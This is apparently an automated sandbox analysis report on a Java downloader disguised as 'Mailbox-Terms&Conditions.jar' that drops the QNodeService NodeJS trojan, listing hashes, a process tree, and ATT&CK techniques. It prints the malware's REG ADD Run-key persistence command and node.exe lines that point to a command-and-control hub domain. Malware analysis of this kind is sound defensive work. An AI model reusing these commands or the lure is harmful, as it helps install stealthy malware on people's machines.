qnodeservice | 0b8de3d6c9436e30b7fec75b652ecc25d8b3d4162ad99c8496ff8aad8b019f76

General

Target

Mailbox-Terms&Conditions.jar
Size

105KB
MD5

2cd2a9c538d60272d886da96d64c48e8
SHA1

5938a8d9d5844a484b3f9a50debdcbb8dd8bc4ee
SHA256

0b8de3d6c9436e30b7fec75b652ecc25d8b3d4162ad99c8496ff8aad8b019f76
SHA512

426fe852835660851726f3309346483959dca24ff77e0f742c39ecde7e3559e28465893917311ed087f019196083e46043bf6d7e190d713c16a14bfdb6e946cf

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3892	node.exe
2252	node.exe
544	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\97b05575-f55a-4812-a3ba-ab5c8ed81951 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab8d-175.dat	js
behavioral2/files/0x000100000001ab8d-178.dat	js
behavioral2/files/0x000100000001ab8d-184.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3892	node.exe
3892	node.exe
3892	node.exe
3892	node.exe
2252	node.exe
2252	node.exe
2252	node.exe
2252	node.exe
544	node.exe
544	node.exe
544	node.exe
544	node.exe
544	node.exe
544	node.exe
544	node.exe
544	node.exe
544	node.exe
544	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 2852	2268	java.exe	76
PID 2268 wrote to memory of 2852	2268	java.exe	76
PID 2852 wrote to memory of 3892	2852	javaw.exe	80
PID 2852 wrote to memory of 3892	2852	javaw.exe	80
PID 3892 wrote to memory of 2252	3892	node.exe	82
PID 3892 wrote to memory of 2252	3892	node.exe	82
PID 2252 wrote to memory of 544	2252	node.exe	83
PID 2252 wrote to memory of 544	2252	node.exe	83
PID 544 wrote to memory of 3568	544	node.exe	85
PID 544 wrote to memory of 3568	544	node.exe	85
PID 3568 wrote to memory of 2616	3568	cmd.exe	86
PID 3568 wrote to memory of 2616	3568	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Mailbox-Terms&Conditions.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\acc47856.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain stericlin-group.com
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_UXFru8\boot.js --hub-domain stericlin-group.com
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2252
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_UXFru8\boot.js --hub-domain stericlin-group.com
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:544
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "97b05575-f55a-4812-a3ba-ab5c8ed81951" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3568
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "97b05575-f55a-4812-a3ba-ab5c8ed81951" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/544-185-0x0000012AD7480000-0x0000012AD7481000-memory.dmp

Filesize
4KB

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memory/2252-179-0x000003C58E980000-0x000003C58E981000-memory.dmp

Filesize
4KB

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memory/3892-176-0x00000243C0B00000-0x00000243C0B01000-memory.dmp

Filesize
4KB

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